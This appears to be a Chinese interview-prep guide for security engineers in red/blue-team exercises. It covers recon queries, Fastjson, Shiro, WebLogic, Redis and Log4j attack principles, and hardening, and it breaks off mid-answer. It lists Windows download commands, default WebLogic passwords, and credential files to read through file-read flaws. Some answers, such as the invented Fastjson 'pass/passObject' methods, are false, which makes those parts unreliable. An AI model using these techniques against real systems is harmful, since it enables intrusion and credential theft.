

# 自我介绍

---

## 告警监控组

各位老师好我是XXX，来自XX地区，目前在腾讯T1中心担任安全服务工程师，日常工作主要是负责渗透测试/安全运维、HW、重保、应急响应等相关工作，下面简单介绍一下我的工作经历。

目前接触安全服务工作XX年了，2019年参加XX国家级/省级HW项目，2020年参加XXX重保项目.....，2021年参加XXX渗透测试项目，前期主要协助客户梳理资产、安全整改、安全加固、策略优化等等，HW期间主要担任角色是告警监测人员/分析研判人员/溯源反制人员/应急处置人员，主要工作是通过安全设备监控恶意攻击事件（WEB、网络攻击），将发现的可疑攻击事件上报给分析研判组成员进行分析研判，协助研判组成员对事件进行分析、提供恶意样本等等。

## 分析研判组

各位老师好我是XXX，来自XX地区，目前在腾讯T1中心担任安全服务工程师，日常工作主要是负责渗透测试/安全运维、HW、重保、应急响应等相关工作，下面简单介绍一下我的工作经历

目前接触安全服务工作XX年了，2019年参加XX国家级/省级HW项目，2020年参加XXX重保项目.....，2021年参加XXX渗透测试项目，主要担任角色是告警监测人员/分析研判人员/溯源反制人员/应急处置人员，主要工作是对安全设备上发现的可疑告警进行分析研判主要方法如：通过监测组提供的恶意样本文件进行分析，同时结合在线威胁情报中心对恶意攻击线索进行研判，最终判断该攻击是否真实有效。

## 溯源反制组

各位老师好我是XXX，来自XX地区，目前在腾讯T1中心担任安全服务工程师，日常工作主要是负责渗透测试/安全运维、HW、重保、应急响应等相关工作，下面简单介绍一下我的工作经历

目前接触安全服务工作XX年了，2019年参加XX国家级/省级HW项目，2020年参加XXX重保项目.....，2021年参加XXX渗透测试项目，主要担任角色是告警监测人员/分析研判人员/溯源反制人员/应急处置人员，主要工作是通过分析研判组上报的非法攻击线索以及真实攻击事件对攻击者身份进行溯源主要的方法如：通过定位攻击者IP、域名、恶意样本特征等虚拟身份信息，展开溯源反制措施通过技术手段获取攻击者真实身份信息，编写溯源报告提交项目组审核。

## WEB

---

## 1、描述外网打点的流程？

靶标确认、信息收集、漏洞探测、漏洞利用、权限获取。最终的目的是获取靶标的系统权限/关键数据。在这个过程中，信息收集最为重要。掌握靶标情报越多，后续就会有更多的攻击方式去打点。比如：钓鱼邮件、web 漏洞、边界网络设备漏洞、弱口令等。

## 2、举几个 FOFA 在外网打点过程中的使用小技巧？

后台挖掘: `title="后台" && body="password" && host="x.cn"`

子域名: `title!="404" && title!="302" && host="x.cn"`

C 段: `ip="x.x.x.x/24" && host="x.cn"`

框架特征: `body="icon-spring-boot-admin.svg"`

漏洞: `body="index/of"`

## 3、如何识别 CDN？

- 1)、使用ping命令看回显。
- 2)、使用nslookup查询域名解析，看域名解析情况。
- 3)、使用超级ping工具，像Tools, all-toll.cn等。

## 4、判断出靶标的 CMS，对外网打点有什么意义？

CMS 是Content Management System 的缩写，意为“内容管理系统”。CMS 其实是一个很广泛的称呼，从一般的博客程序，新闻发布程序，到综合性的网站管理程序都可以被称为内容管理系统。

- 1)、判断当前使用的CMS 是否存在Nday，尝试利用公开的 poc、exp 进行测试。
- 2)、根据CMS 特征关联同CMS 框架站点，进行敏感备份文件扫描，有可能获得站点备份文件。尝试从CMS 源码进行代码审计，挖掘潜在漏洞。

注：

0- day，就是只有你知道的一个漏洞！

1- day，就是刚刚公布的漏洞（没有超过一天）。

n-day，就是这个漏洞已经公布出来了N 天啦！

## 5、Apache Log4j2 的漏洞原理是什么？

由于Log4j2 组件在处理程序日志记录时存在JNDI 注入缺陷，未经授权的攻击者利用该漏洞，可向服务器发送恶意的数据，触发log4j2 组件的缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。

## 6、如何判断靶标站点是 windows/linux?

- 1)、大小写检测: windows 大小写不敏感, 而linux 大小写敏感。
- 2)、PING 指令: 根据 TTL 值, winodws 一般情况下>100, linux<100; TTL(生存时间值)指定 IP 包被路由器丢弃之前允许通过的最大网段数量。

## 7、为什么 Mysql 数据库的站点, 无法连接?

- 1)、站库分离。
- 2)、3306 端口未对外开放 (3306 是Mysql 默认端口)。
- 3)、Mysql 默认端口被修改。

## 8、文件上传功能的监测点有哪些?

- 1)、客户端Javascript 检测 (文件后缀名检测)
- 2)、服务端检测 (MIME 类型检测、文件后缀名、文件格式头) MIME是多用途互联网邮件扩展类型, 服务端MIME 类型检测是通过检查http 包的Content-Type 字段中的值来判断上传文件是否合法的。

## 9、常见的未授权访问漏洞有哪些?

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

Active MQ 未授权访问  
Atlassian Crowd 未授权访问  
CouchDB 未授权访问  
Docker 未授权访问  
Dubbo 未授权访问  
Druid 未授权访问  
Elasticsearch 未授权访问  
FTP 未授权访问  
Hadoop 未授权访问  
JBoss 未授权访问  
Jenkins 未授权访问  
Jupyter Notebook 未授权访问  
Kibana 未授权访问  
Kubernetes Api Server 未授权访问  
LDAP 未授权访问  
MongoDB 未授权访问  
Memcached 未授权访问  
NFS 未授权访问  
Rsync 未授权访问  
Redis 未授权访问  
RabbitMQ 未授权访问  
Solr 未授权访问

Spring Boot Actuator 未授权访问  
Spark 未授权访问  
VNC 未授权访问  
weblogic 未授权访问  
ZooKeeper 未授权访问  
Zabbix 未授权访问

## 10、代码执行、文件读取、命令执行的函数有哪些？

代码执行：eval、call\_user\_func、call\_user\_array 等

文件读取：fopen()、readfile()、fread()、file()等

命令执行：system()、exec()、shell\_exec()、passthru()、pcntl\_exec()等

## 11、Web TOP 10 漏洞有哪些？

- 1)、SQL 注入
- 2)、失效的身份认证
- 3)、敏感数据泄露
- 4)、XML 外部实体 (XXE)
- 5)、失效的访问控制
- 6)、安全配置错误
- 7)、跨站脚本 (XSS)
- 8)、不安全的反序列化
- 9)、使用含有已知漏洞的组件
- 10)、不足的日志记录和监控

## 12、SQL 注入的种类有哪些？

- 1)、按照注入点类型分为：数字型、字符串、搜索型。
- 2)、按照提交方式分为：post 型、get 型、cookie 型、http 头。
- 3)、按照执行结果分为：基于报错、基于布尔盲注、基于时间盲注、基于联合注入。

### 13、常见的中间件有哪些？他们有那些漏洞？

- 1)、IIS: 远程代码执行、解析漏洞。
- 2)、apache: 解析漏洞，目录遍历。
- 3)、Nginx: 文件解析、目录遍历、目录穿越。
- 4)、JBoss: 反序列化漏洞、war后门文件部署。
- 5)、weblogic: 反序列化漏洞、SSRF任意文件上传。

### 14、常见的目录扫描工具有哪些？

dirsearch、gobuster、御剑等

### 15、蚁剑/菜刀/冰蝎的相同与不相同之处？

相同：都是用来连接webshell的工具

不相同：相比于其他三款，冰蝎有流量动态加密。

### 16、windows 环境下有哪些下载文件的命令？

- 1)、certutil -urlcache -split -f
- 2)、bitsadmin 「url」 存放路径
- 3)、powershell 存放路径

### 17、常见的端口号？攻击点？

- 1)、ftp  
端口: 20、21  
攻击点: 匿名上传下载、嗅探、爆破
- 2)、ssh  
端口: 22  
攻击点: 爆破
- 3)、telnet  
端口: 23  
攻击点: 嗅探、爆破
- 4)、sql server  
端口: 1433  
攻击点: 注入、弱口令、爆破
- 5)、oracle  
端口: 1521  
攻击点: 注入、弱口令、爆破

#### 6)、weblogic

端口：7001

攻击：java反序列化、弱口令

#### 7)、redis

端口：6379

攻击：未经授权、弱口令爆破

#### 8)、JBoss、tomcat

端口：8080

攻击：反序列化、控制台弱口令

#### 9)、zabbix

端口：8069

攻击：远程执行、sql 注入

## 18、一般情况下那些漏洞会被高频被用于打点？

1)、shiro漏洞、struts2漏洞、log4j漏洞、fastjson漏洞、thinkphp漏洞、OA系列漏洞、weblogic漏洞等。

2)、上传漏洞、sql注入漏洞。

3)、边界网络设备资产 + 弱口令。

## 19、jsonp的作用，jsonp和cors有什么区别？

JSONP (JSON with Padding) 是一种利用 `<script>` 标签进行跨域请求的技术，通常用于在不同域名之间进行数据交换。JSONP的原理是利用 `<script>` 标签没有跨域限制的特性，通过动态创建 `<script>` 标签，向目标服务器请求数据，服务器返回的数据会被包裹在一个函数调用中，这个函数是在客户端预先定义好的，从而实现数据的传输。

CORS (Cross-Origin Resource Sharing) 是一种现代的跨域解决方案，它通过在服务器端设置相应的响应头来允许跨域请求。与JSONP不同，CORS不需要在客户端做特殊处理，而是由服务器端来控制跨域访问的权限。通过设置 `Access-Control-Allow-Origin` 等响应头，服务器可以指定允许哪些域名访问资源，从而实现安全的跨域数据交换。

因此，JSONP和CORS的主要区别在于实现原理和安全性。JSONP利用 `<script>` 标签的特性来绕过浏览器的同源策略，但存在安全风险，因为它需要在客户端预先定义一个函数来处理返回的数据，可能导致跨站脚本攻击 (XSS)。而CORS是一种更加规范和安全的跨域解决方案，由服务器端控制跨域访问的权限，不需要客户端做特殊处理，因此更为推荐。

## 20、什么是JWT？

JWT全称Json Web Token，是一种基于json格式传输信息的token鉴权方式。目前应用较为广泛，web登录认证以及ctf中经常出现。JWT由三部分组成，分别是头部 (Header)、载荷 (Payload) 和签名 (Signature)，JWT通常用于认证和信息交换，例如在身份验证和安全通信中，常用于构建单点登录 (SSO) 系统。

## 21、Redis未授权的利用方式

第一种：利用 Redis写入webshell

条件：

- 1)、服务端的Redis连接存在未授权，在攻击机上能用redis-cli直接登陆连接，并未登陆验证。
- 2)、开了服务端存在web服务器，并且知道web目录的路径（如利用phpinfo，或者错误爆路径），还需要具有文件读写增删改查权限。

第二种：利用 Redis写入SSH公钥

条件：

- 1)、服务端的Redis连接存在未授权，在攻击机上能用redis-cli直接登陆连接，并未登陆验证。
- 2)、服务端存在.ssh目录并且有写入的权限

第三种：利用 Redis 写入计划任务

原理：在数据库中插入一条数据，将计划任务的内容作为value，key值随意，然后通过修改数据库的默认路径为目标主机计划任务的路径，把缓冲的数据保存在文件里，这样就可以在服务器端成功写入一个计划任务进行反弹shell。

Redis未授权访问漏洞在SSRF中的利用

在SSRF漏洞中，若目标存在Redis服务。且存在未授权访问，就可以利用Gopher协议远程操纵目标主机上的Redis，可以利用 Redis 自身的提供的 config 命令像目标主机写webshell、写SSH公钥、创建计划任务反弹shell等。

## 22、Redis主从复制RCE原理，前提要求

Redis主从复制RCE原理：

1)、Redis主从复制（Replication）是指将一个 Redis 服务器的数据同步复制到另一个 Redis 服务器上的过程。在主从复制中，一个 Redis 服务器充当主节点（Master），负责接收写操作并将这些操作同步到从节点（Slave）。从节点接收到主节点的写操作后，会将这些操作应用到自己的数据集上，从而保持与主节点的数据同步。

2)、在Redis主从复制中，如果主节点受到了RCE攻击，攻击者可以执行一些恶意操作，利用主节点向从节点发送恶意的写操作。这些写操作会被从节点接收并应用到自己的数据集上，导致从节点也受到攻击，从而实现RCE攻击。

前提条件：

- 1)、未授权访问或弱密码：攻击者首先需要获取对主节点的未授权访问或者使用弱密码登录主节点。
- 2)、执行恶意命令：攻击者通过未授权访问或者登录主节点后，执行一些恶意的命令，例如修改Redis的配置文件，使其开启远程命令执行功能（如CONFIG SET dir）。
- 3)、向从节点发送恶意写操作：一旦主节点开启了远程命令执行功能，攻击者可以向主节点发送一些恶意的写操作，例如写入恶意的数据或者执行恶意的命令。
- 4)、从节点同步恶意写操作：从节点会从主节点同步这些恶意的写操作，并将其应用到自己的数据集上，从而导致从节点受到攻击。

## 23、常用的代理工具或端口转发工具

1)、**frp**: 一种快速反向代理, 允许您将位于 NAT 或防火墙后面的本地服务器暴露给 Internet。目前支持TCP和UDP, 以及HTTP和HTTPS协议, 可以将请求通过域名转发到内部服务。

2)、**proxifier**: 全平台代理工具, 支持多种socks协议

3)、**pingtunnel**: 把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具

4)、**nps**: 轻量级、高性能、功能强大的内网穿透代理服务器

5)、**Neo-reGeorg**:

6)、**ngrok**

## 24、目标不出网怎么搭代理？

拿到服务器权限之后, 遇见这种机器, 只能利用基于**webshe11**的代理, 只需要将**webshe11**上传到目标主机即可, 然后建立**tcp**连接, 主要利用**session**来识别不同的**tcp**连接, 我们攻击监听**tcp**, 将数据**post**提交到**webshe11**即可进行传输, 简单介绍两个常用的工具。

1)、**Neo-reGeorg**: 相当于是 **reGeorg**的升级版, 有了更强的隐蔽性, 原理都是相同的, 常用于**webshe11**代理流量, 进而进行内网渗透。

2)、**pystinger**: 毒刺通过**webshe11**实现内网**socks4**代理, 并且可以利用**pystinge**实现各种**cs\msf**上线, 目前仅支持**php**、**jsp(x)**、**aspx**

## 25、Php反序列化和java反序列化的区别

1)、语言差异: **PHP**是一种脚本语言, 而**Java**是一种编译型语言。这两种语言的反序列化机制在语言层面上有所不同, 因为它们的语法和执行方式不同。

2)、反序列化漏洞: 反序列化漏洞是一种安全漏洞, 可能会导致恶意攻击者执行远程代码。在**Java**中, 反序列化漏洞是一种常见的安全问题, 因为**Java**的反序列化机制在默认情况下是不安全的, 即使是从信任源反序列化数据也可能存在风险。为了防止这种类型的攻击, **Java**提供了一些安全机制, 如安全的反序列化过滤器。而在**PHP**中, 由于语言的特性和反序列化的实现方式不同, 一般情况下不会出现类似于**Java**中的反序列化漏洞。

3)、序列化格式: **PHP**和**Java**使用不同的序列化格式。**PHP**通常使用**serialize()**函数和**unserialize()**函数进行序列化和反序列化, 而**Java**通常使用**Java**对象序列化 (**Java Object Serialization**) 机制。这两种序列化格式在结构上有一些差异, 因此反序列化的实现方式也有所不同。

4)、类加载: 在**Java**中, 反序列化通常涉及类的加载和实例化过程。**Java**反序列化机制会尝试加载序列化数据中引用的类, 并创建相应的对象。而在**PHP**中, 由于语言的动态特性, 反序列化通常不涉及类加载的过程, 因为**PHP**可以在反序列化时动态地创建对象。

## 26、Fastjson反序列化原理？



第一种回答：

1)、**fastjson** 是阿里巴巴开发的 **java**语言编写的高性能 **JSON** 库，用于将数据在 **Json** 和 **Java Object**之间相互转换。它没有用**java**的序列化机制，而是自定义了一套序列化机制。提供两个主要接口：**JSON.toJSONString** 和 **JSON.parseObject/JSON.parse** 分别实现序列化和反序列化。

2)、**fastjson**为了读取并判断传入的值是什么类型，增加了**autotype**机制导致了漏洞产生。由于要获取**json**数据详细类型，每次都需要读取**@type**，而**@type**可以指定反序列化任意类调用其**set**，**get**，**is**方法，并且由于反序列化的特性，我们可以通过目标类的**set**方法自由的设置类的属性值。那么攻击者只要准备**rmi**服务和**web**服务，将**rmi**绝对路径注入到**lookup**方法中，受害者**JNDI**接口会指向攻击者控制**rmi**服务器，**JNDI**接口从攻击者控制的**web**服务器远程加载恶意代码并执行，形成**RCE**。

第二种回答：

在请求包里面中发送恶意的**json**格式**payload**，漏洞在处理**json**对象的时候，没有对**@type**字段进行过滤，从而导致攻击者可以传入恶意的**TemplatesImpl**类，而这个类有一个字段就是**\_bytecodes**，有部分函数会根据这个**\_bytecodes**生成**java**实例，这就达到**fastjson**通过字段传入一个类，再通过这个类被生成时执行构造函数。

## 27、Fastjson反序列化不出网怎么利用？

简介回答：

- 1)、将命令执行结果写入到静态资源文件里，如**html**、**js**等，然后通过**http**访问就可以直接看到结果
- 2)、通过**dnslog**进行数据外带
- 3)、直接将命令执行结果回显到请求**Poc**的**HTTP**响应中
- 4)、注入内存马
- 5)、使用反序列化链直接本地反序列化

详细回答：

第一种：**TemplatesImpl**利用连

版本 1.2.24

苛刻条件：

- 1)、服务端使用**parseObject()**时，必须使用如下格式才能触发漏洞：

```
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
```

- 2)、服务端使用**parse()**时，需要

```
JSON.parse(text1, Feature.SupportNonPublicField)
```

这是因为**com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl**需要赋值的一些属性为**private** 属性，要满足**private**属性的数据。所以比较苛刻，完全凭运气。

第二种：**C3P0**二序列序列化 之 **hex**序列化字节加载器

条件：

- 1)、目标服务器需要如下依赖

```
<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-collections4</artifactId>
  <version>4.0</version>
</dependency>
<dependency>
  <groupId>com.mchange</groupId>
  <artifactId>c3p0</artifactId>
  <version>0.9.5.2</version>
</dependency>
```

第三种：Commons-io 写文件/webshell

条件：

- 1)、但写webshell需要知道网站路径，不然就无法利用如果为高权限，可尝试写定时任务，免密钥，等等。
- 2)、低版本限制< fastjson 1.2.68。

第四种：BECL攻击，命令执行/内存马

bec1攻击则是利用tomcat的BasicDataSource链编译poc，将poc的class字节码转化为bcel然后发送payload。

- 1)、SpringEcho 回显
- 2)、Tomcat 回显
- 3)、abitis 回显：适用于weblogic、jboss等非tomcat中间件且引入了ibatis组件的情况

## 28、代码层面，fastjson反序列化漏洞的函数有哪些？

1)、parseObject(): 这个函数用于将JSON字符串反序列化为Java对象。在过去的一些版本中，当JSON字符串包含恶意构造的数据时，可能导致代码执行漏洞。

2)、parse(): 类似于parseObject()函数，这个函数也用于将JSON字符串反序列化为Java对象。在某些情况下，由于Fastjson在处理类型信息时的不当处理，可能会导致反序列化漏洞。

3)、getObject(): 这个函数用于获取JSON对象中指定键对应的值，并尝试将其转换为指定类型的Java对象。在某些情况下，由于类型处理不当，可能导致反序列化漏洞。

4)、parseArray(): 这个函数用于将JSON数组反序列化为Java集合。在某些情况下，由于Fastjson对数组类型的处理不当，可能导致反序列化漏洞。

## 29、Fastjson有哪些利用链

1)、TemplatesImpl 利用链

适用于：FastJson 1.2.22-1.2.24

2)、JdbcRowSetImpl 利用链

影响范围： fastjson <= 1.2.24

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

不需要设置Feature.SupportNonPublicField

## 30、fastjson反序列化pass和passobject方法的区别？

1)、在 Fastjson 中，pass 和 passObject 方法都是用于序列化和反序列化 JSON 数据的。它们的主要区别在于处理的数据类型不同。

2)、pass 方法用于序列化和反序列化普通的 Java 对象（POJO, Plain Old Java Object）；passObject 方法则用于序列化和反序列化复杂的 Java 对象，比如泛型类型、内部类等。

3)、总的来说，pass 方法适用于普通的 Java 对象的序列化和反序列化，而 passObject 方法适用于复杂的 Java 对象，包括泛型、内部类等序列化和反序列化。根据需要选择合适的方法来处理不同类型的数据。

## 31、Shiro反序列化原理

为了让浏览器或服务器重启后用户不丢失登录状态，shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中，下次读取时进行解密再反序列化。但是在 Shiro 1.2.4版本之前内置了一个默认且固定的加密 key，导致攻击者可以伪造任意的 rememberMe Cookie，进而触发反序列化漏洞。

分为Shiro-550反序列化漏洞和Shiro-721反序列化漏洞，Shiro550只需要通过碰撞key，爆破出来密钥，就可以进行利用；Shiro721的ase加密的key一般情况下猜不到，是系统随机生成的，并且当存在有效的用户信息时才会进入下一阶段的流程所以我们需要使用登录后的rememberMe Cookie，才可以进行下一步攻击。

## 32、shiro反序列化不出网怎么利用

若目标不出网，我们可以通过shiro漏洞进行写webshe11，然后使用哥斯拉、冰蝎连接。

## 33、shiro反序列化为为什么AES密钥泄露之后就可以进行反序列化

AES加密的密钥Key被硬编码在代码里，于是可得到Payload的构造流程：恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie

当成功泄露了加密密钥后，就可以解密受到保护的序列化数据，从而获取其中的原始数据。如果这些原始数据中包含了恶意构造的序列化对象，那么就可以利用这些数据来触发 Shiro 的反序列化漏洞，执行远程代码等攻击。

## 34、CC1链的原理

CC1(CommonsCollections1) 链是反序列化攻击中的一种经典利用链，它利用了 Commons Collections 库中的反序列化漏洞来执行恶意代码。原理如下

1)、构造恶意的序列化数据：攻击者首先构造一个包含恶意代码的 Java 对象，并将其序列化为字节流数据。

2)、构建链表或哈希表：攻击者利用 Commons Collections 库中的特性，将序列化数据反序列化成一个链表或哈希表。这个数据结构通常包含多个节点，其中每个节点都包含一个对象引用和一些操作方法。

3)、利用链表或哈希表的特性：Commons Collections 库中的某些方法会遍历链表或哈希表的节点，并对其中的对象进行操作。攻击者构建的恶意节点可以包含恶意代码，在遍历过程中，这些恶意代码会被执行，从而导致攻击成功。

4)、触发漏洞：当目标系统尝试对恶意构造的序列化数据进行反序列化时，恶意代码被执行，攻击者就可以实现远程代码执行等攻击行为。

Apache Commons Collections 项目已经修复了这些漏洞，因此使用最新版本的 Commons Collections 库可以有效地防止 CC1 链攻击。

## 35、weblogic常见漏洞

1)、weblogic弱口令

- system/password
- weblogic/weblogic
- admin/security
- joe/password
- mary/password
- system/security
- wlcsystem/wlcsystem
- wlpisystem/wlpisystem

```
weblogic/weblogic123
weblogic/weblogic2
weblogic/Oracle@123
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
guest/guest
portaladmin/portaladmin
system/system
WebLogic/WebLogic
```

- 2)、weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)
- 3)、weblogic任意文件上传 (CVE-2018-2894)
- 4)、weblogic-SSRF漏洞 (CVE-2014-4210)
- 5)、weblogic反序列化远程代码执行漏洞 (CVE-2019-2725)
- 6)、weblogic T3反序列化 (CVE-2021-2135)
- 7)、weblogic Server远程代码执行漏洞 (CVE-2021-2109)
- 8)、weblogic未授权漏洞 (CVE-2020-14882)
- 9)、weblogic命令执行漏洞 (CVE-2020-14883)
- 10)、weblogic WLS Core Components 反序列化命令执行漏洞 (CVE-2018-2628)

## 36、Weblogic反序列化是基于哪些协议去实现的

- 1)、weblogic 的反序列化漏洞分为两种，一种是基于T3 协议的反序列化漏洞，一个是基于XML的反序列化漏洞。
- 2)、对于T3协议的理解：RMI 通信时会将数据进行序列化后传输，同样的接收数据后反序列化进行接收，正常RMI通信使用的是JRMP协议，而在weblogic的RMI通信中使用的是T3协议，T3是weblogic独有的一个协议。

## 37、Struts2都有哪些漏洞

Struts2是一个基于MVC设计模式的web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互。

- 1)、S2-001
- 2)、S2-005
- 3)、S2-007
- 4)、S2-008
- 5)、S2-009

6)、S2-012  
7)、S2-013  
8)、S2-015  
9)、S2-016  
10)、S2-032  
11)、S2-045  
12)、S2-046  
13)、S2-048  
14)、S2-052  
15)、S2-053  
16)、S2-057  
17)、S2-059  
18)、S2-061

## 38、jndi注入的原理

Java命名和目录接口（JNDI）是一种Java API，类似于一个索引中心，它允许客户端通过name发现和查找数据和对象。所谓的JNDI注入就是当代码中jndiName这个变量可控时，引发的漏洞，它将导致远程class文件加载，从而导致远程代码执行。

## 39、rmi和ldap的区别，分别在什么情况下利用

RMI（远程方法调用）和LDAP（轻量目录访问协议）是两种完全不同的技术，用途也不同。

RMI（远程方法调用）：

特点：RMI是Java平台上的一种机制，允许在不同的Java虚拟机（JVM）之间进行远程通信和方法调用。通过RMI，可以在网络上调用另一个Java虚拟机上的对象的方法，就好像调用本地对象的方法一样。

用途：RMI通常用于构建分布式应用程序，其中不同的组件可以在网络上进行通信和协作。例如，一个服务器可以提供一些服务，客户端通过RMI调用这些服务。典型的应用场景包括分布式计算、客户端-服务器应用程序等。

LDAP（轻量目录访问协议）：

特点：LDAP是一种用于访问和维护分布式目录信息的协议，通常用于在网络上存储和检索关于用户、组织、设备等信息的目录信息。LDAP是基于TCP/IP协议栈的协议，使用树形结构组织数据。

用途：LDAP通常用于实现身份验证和授权，以及存储组织内部的用户信息、组信息和其他相关信息。常见的应用场景包括企业内部的用户认证、电子邮件系统中的地址簿、网络服务中的用户账号管理等。

在选择使用RMI还是LDAP时，需要根据具体的需求来决定：

如果需要在Java应用程序之间进行远程通信和方法调用，那么可以选择使用RMI。

如果需要存储和检索目录信息，并且可能需要跨平台访问这些信息，那么可以选择使用LDAP

## 40、Log4j漏洞原理

Apache Log4j2是一个基于Java的日志记录工具，当前被广泛应用于业务系统开发，开发者可以利用该工具将程序的输入输出信息进行日志记录。

Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的Jndi ==Lookup==模块出现问题所导致的，==该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时，并没有对用户输入的信息进行判断，导致Log4j2请求远程主机上的含有恶意代码的资源 并执行其中的代码，从而造成远程代码执行漏洞。

## 41、常见端口漏洞有哪些？

21 (FTP)  
873 (Rsync)  
1433 (MSSQL)  
1521 (Oracle)  
2181 (Zookeeper)  
3306 (MySQL)  
5432 (PostgreSQL)  
6379 (redis)  
001 (weblogic)  
8161 (ActiveMQ)  
9200 (elasticsearch)  
27017 (Mongodb)  
50070, 50050 (Hadoop)

## 42、如何区分内网中SQL注入攻击事件和正常业务请求？

可以通过请求体中的payload进行判断，正常业务请求的SQL语句通体较长且无敏感的函数使用，SQL注入攻击事件请求体中的payload通常较短且语句中有敏感函数如sleep、updatexml等等。

## 43、Sql注入漏洞加固措施？

- 1)、对于输入的字符进行过滤，主要是特殊字符，如“单引号、双引号、#和两个减号、sql关键字”
- 2)、买waf设备

## 44、暴力破解加固方法？

- 1)、添加强度较高的验证码，不易被破解。
- 2)、修改密码设置规则，提高用户的密码强度。
- 3)、同一账号登陆次数锁定，生成锁定日志。
- 4)、定期排查弱口令。

## 45、你能说明文件上传的原理吗？

绕过上传限制，上传可执行代码文件。

**PHP:** 如果系统中存在可以上传文件的功能点，就可以上传后门脚本文件，通过一些方法绕过上传限制，如果能访问后门的话，系统存在文件上传漏洞，可以借助后门执行命令

**Java:** 上传 jsp 代码

**Asp/Aspx**

**Python:** 因为脚本需要译后生成 pyc 字节码文件，所以不存在文件上传

## 46、文件上传攻击特征？

能够上传文件的接口，应用程序对用户上传文件类型不校验或者校验不严格可绕过，导致任意类型文件上传，攻击者可上传 `webshell` 拿到服务器权限，在这个过程中攻击者必然会上传恶意脚本文件，特征：上传文件保存处出现可执行脚本。

## 47、文件上传加固方法？

- 1)、后端限制文件上传白名单，头像不允许上传 `svg`
- 2)、上传后文件随机重命名，不要输出保存文件位置
- 3)、图片文件可以二次渲染，使用对象存储 `oss`
- 4)、文件目录取消执行权限，PHP 设置 `basedir`

## 48、攻击者一般如何获取服务器权限？

- 1)、文件上传 `weshe11`。
- 2)、`ssh` 服务等弱口令爆破。
- 3)、已经框架 `rce` 漏洞。
- 4)、`sql` 注入 `getshe11`。

## 49、简历写了解waf绕过方式，简单说说？

- 1)、使用 `sqlmap` 自带的脚本。
- 2)、使用 `nmap` 自带的脚本。
- 3)、请求包添加大量无用数据。
- 4)、测试多个关键字，看看有无未过滤的。
- 5)、改变 `http` 请求类型，`get` 变 `post`。
- 6)、找出真实 IP。

## 50、描述一下渗透测试的流程？

首先信息收集，收集子域名、`whois`、C段、旁站、`web` 系统指纹识别，然后测试 `web` 系统的漏洞。

## 51、常见的安全工具有哪些？

端口及漏洞扫描：`Namp`

抓包：`Wireshark`、`Burpsuite`、`Fiddler`

`web` 自动化安全扫描：`Awvs`、`Appscan`、`Xray`、`goby`

信息收集: oneforall

漏洞利用: MSF、CS

webshe11管理: 菜刀、蚁剑、冰蝎、哥斯拉

内网工具: fscan、frp、nps

凭据密码收集工具: mimikatz

## 52、说说Nmap工具的使用?

- ST TCP (全)连接扫描, 准确但留下大量日志记录
- SS TCP SYN (半)扫描, 速度较快, 不会留下日志
- SN null 扫描, 标志位全为 0, 不适用 windows
- SF FIN 扫描, 标志位 FIN=1, 不适用 windows
- O 查看目标主机系统版本
- SV 探测服务版本
- A 全面扫描

## 53、近几年HW常见漏洞有哪些?

弱口令、未授权访问、文件上传、注入、log4j代码执行、Struts2命令执行、fastjson、shiro、TinkPHP代码执行、Spring代码执行等等。

## 54、HW 三 (四) 大洞

shiro、struts2、weblogic、Fastjson

额外: thinkphp、(2021年) log4j、(2022年) word msdt

## 55、讲述 2023 年护网出现过那些 0day 漏洞

蓝凌OA前台代码执行  
金山WPS RCE  
泛微E-office9文件上传漏洞  
泛微 Eoffice10 前台 SQL 注入  
用友GRP-U8存在信息泄露  
用友畅捷通 SQL注入  
大华智慧园区任意密码读取漏洞  
致远OA任意管理员登录  
广联达oa sql注入漏洞



## 56、获得文件读取漏洞，通常会读哪些文件

```
linux
    etc/passwd、etc/shadow直接读密码
    /etc/hosts # 主机信息
    /root/.bashrc # 环境变量
    /root/.bash_history # 还有root外的其他用户
    /root/.viminfo # vim 信息
    /root/.ssh/id_rsa # 拿私钥直接ssh
    /proc/xxx/cmdline # 进程状态枚举 xxx 可以为0000-9999 使用burpsuite
    数据库 config 文件
    web 日志 access.log, error.log
    ssh 日志
    bash /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys
    /etc/ssh/sshd_config /var/log/secure /etc/sysconfig/network-scripts/ifcfg-eth0
    /etc/sysconfig/network-scripts/ifcfg-eth1

windows
    C:\boot.ini //查看系统版本
    C:\Windows\System32\inetrv\MetaBase.xml //IIS 配置文件
    C:\Windows\repair\sam //存储系统初次安装的密码
    C:\Program Files\mysql\my.ini //Mysql 配置
    C:\Program Files\mysql\data\mysql\user.MY D //Mysql root
    C:\Windows\php.ini //php 配置信息
    C:\Windows\my.ini //Mysql 配置信息
```

## 57、了解过反序列化漏洞吗？

原理：

序列化是指程序将对象转化为字节序列从而便于存储运输的一种方式，反序列化则与其相反，即将字节序列转化为对象供程序使用。程序在进行反序列化时会调用一些函数，比如常见的PHP反序列化函数`unserialize()`以及一些常见的魔术方法，比如构造函数`__construct()`，析构函数`__destruct()`，`__wakeup()`，`__toString()`，`__sleep()`等等。如果这些函数在传递参数时没有进行严格的过滤措施，那么攻击者就可以构造恶意代码并将其序列化后传入函数中，从而导致反序列化漏洞。

**Java反序列化：**Java反序列化就是将java对象转化为字节序列的过程。反序列化的过程就是

- 1)、创建一个对象输出流；
- 2)、通过对象输出流的`readObject()`方法来读取对象；

## 58、常见的框架漏洞？

### log4j远程代码执行漏洞

- 原理：
